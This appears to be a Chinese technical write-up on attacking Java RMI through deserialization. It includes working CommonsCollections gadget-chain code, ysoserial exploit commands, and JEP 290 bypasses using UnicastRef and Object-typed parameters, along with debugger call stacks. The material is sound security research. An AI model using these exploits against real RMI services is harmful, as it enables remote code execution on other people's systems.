JAVA RMI 反序列化知识详解

作者：天融信阿尔法实验室
原文链接：https://mp.weixin.qq.com/s/bC71HoEtDAKKbHJvStu9qA

一、前言

在Java反序列化漏洞挖掘或利用的时候经常会遇见RMI,本文会讲述什么是RMI、RMI攻击方法、JEP290限制、绕过JEP290限制。

二、RMI简介

JAVA本身提供了一种RPC框架 RMI及Java 远程方法调用(Java Remote Method Invocation),可以在不同的Java 虚拟机之间进行对象间的通讯,RMI是基于JRMP协议(Java Remote Message Protocol Java远程消息交换协议)去实现的。

RMI调用逻辑

RMI主要分为三部分

RMI Registry注册中心
RMI Client 客户端
RMI Server服务端

三、RMI的实现

注册中心代码

创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

创建注册中心代码

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class Registry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

服务端代码

先创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

继承UnicastRemoteObject类,实现上面的接口

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }
}

写服务端的启动类,用于创建远程对象注册表和注册远程对象

public class HelloServer {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("hello", new HelloImpl());
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

客户端代码

创建接口类

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

连接注册服务查找hello对象

public class HelloClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloInterface hello = (HelloInterface) registry.lookup("hello");
            System.out.println(hello.sayHello("flag"));
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

启动服务端之后,在启动客户端看下.

服务端输出了

客户端输出了

四、攻击方法

服务端攻击注册中心

从第一张图可以看到服务端也是向注册中心序列化传输远程对象,那么直接把远程对象改成反序列化Gadget看下

修改服务端代码

public class HelloServer {
    public static void main(String[] args) throws Exception {
        try {

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map ouputMap = LazyMap.decorate(innerMap, transformer);

            TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, tiedMapEntry);

            Map tmpMap = new HashMap();
            tmpMap.put("pwn", badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
            Remote remote = Remote.class.cast(Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("hello1", remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在服务端执行这段代码注册中心计算器会弹出,这段代码就是ysoserial工具的RMIRegistryExploit代码,debug看下注册中心执行过程

触发反序列化操作位置

sun.rmi.registry.RegistryImpl_Skel#dispatch

调用栈

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 736237439 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

注册中心攻击客户端

首先借助ysoserial项目启动一个JRMP服务端执行命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后直接启动上面客户端的代码,会发现计算器直接被弹出,debug看下客户端代码

代码位置sun.rmi.registry.RegistryImpl_Stub#lookup

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections5的调用链,所以这里直接反序列化就会触发.

客户端攻击注册中心

1.直接启动上面的注册中心代码

2.借助ysoserial项目JRMPClient攻击注册中心命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections5 "open /Applications/Calculator.app"

执行完命令后计算器直接弹出来了,原因是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

debug注册中心代码看下。

sun.rmi.transport.DGCImpl_Skel#dispatch

可以看到这里进行了反序列化操作。

列下调用栈

dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 286880721 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

JEP290

在JDK6u141、JDK7u131、JDK 8u121加入了JEP 290限制,JEP 290过滤策略有

进程级过滤器

可以将进程级序列化过滤器作为命令行参数-Djdk.serialFilter =传递，或将其设置为$JAVA_HOME/conf/security/java.security中的系统属性。

自定义过滤器

可以使用自定义过滤器来重写特定流的进程级过滤器

内置过滤器

JDK分别为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器。这两个过滤器都配置为白名单，即只允许反序列化特定类。

这里我把jdk版本换成jdk1.8.0_181,默认使用内置过滤器。然后直接使用上面的服务端攻击注册中心poc看下,执行完RMI Registry会提示这样的一个错误:

信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a

debug看下

sun.rmi.registry.RegistryImpl#registryFilter

private static Status registryFilter(FilterInfo var0) {
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

白名单列表:

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

调用栈

registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

UnicastRef对象

用UnicastRef对象新建一个RMI连接绕过JEP290的限制,看下ysoserial的JRMPClient的payload

这几行代码会向指定的RMI Registry发起请求,并且在白名单列表里面,在看下服务端和客户端调用LocateRegistry.getRegistry方法的代码。

代码位置java.rmi.registry#getRegistry

和payload发起RMI Registry请求代码是一样的。

先用ysoserial启动RMI registryjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后把这个payload放在服务端bind看下

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{
                    Registry.class
            }, obj);
            registry.bind("hello", proxy);

在服务端执行RMI registry的计算器就弹出来了,debug RMI registry代码看下.

调用栈

read:291, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 168016515 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

原理就是利用在白名单的UnicastRef类来发起一个RMI连接,在高版本jdk下ysoserial的JRMPListener依然可以利用.

用Object绕JEP290限制

JEP290只是为RMI注册表和RMI分布式垃圾收集器提供了相应的内置过滤器,在RMI客户端和服务端在通信时参数传递这块是没有做处理的,而参数传递也是基于序列化数据传输,那么如果参数是泛型的payload,传输依然会有问题。

先把接口都新增一个sayPayload的方法,参数都是Object类型的

import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
    public Object sayPayload(Object from) throws java.rmi.RemoteException;
}

在把服务端HelloImpl代码改下,去实现这个方法。

import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }

    public Object sayPayload(Object from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return null;
    }
}

客户端在调用这个sayPayload方法时直接传payload看下

public class HelloClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloInterface hello = (HelloInterface) registry.lookup("hello1");

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"open /Applications/Calculator.app"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
            Field valfield = poc.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(poc, entry);

            hello.sayPayload(poc);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

执行后服务端计算器直接弹出,如果把这个payload作为sayPayload方法的返回值客户端计算器也会弹出。

看下反序列化的地方

sun.rmi.server.UnicastRef#marshalValue

调用栈

marshalValue:290, UnicastRef (sun.rmi.server)
dispatch:367, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 316535884 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

在实际使用场景很少有参数是Object类型的,而攻击者可以完全操作客户端,因此可以用恶意对象替换从Object类派生的参数(例如String),具体有如下四种bypass的思路

将java.rmi包的代码复制到新包，并在新包中修改相应的代码
将调试器附加到正在运行的客户端，并在序列化之前替换这些对象
使用诸如Javassist这样的工具修改字节码
通过实现代理替换网络流上已经序列化的对象

我这里使用第三个方法,由afanti师傅实现的通过RASP hook住java.rmi.server.RemoteObjectInvocationHandler类的InvokeRemoteMethod方法的第三个参数非Object的改为Object的gadget。不熟悉RASP的先要去了解下。

我这里使用CommonsCollections5这条链,Hook invokeRemoteMethod函数。

客户端代码还是不变

public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        HelloInterface hello = ( HelloInterface ) registry.lookup("hello1");
        hello.sayHello("xxx");
    }
}

VM options参数填写rasp jar对应的地址

然后直接运行

控制台会抛出一个错误随后计算器也直接弹出来了.

debug看下可以看到

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod这里args参数的值已经修改为CommonsCollections5的gadget了.

五、总结

RMI数据传输都是基于序列化数据传输,RMI Registry、Client、Server都能相互攻击,在你攻击别人的时候可能也会被人攻击。

参考链接

Paper 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1194/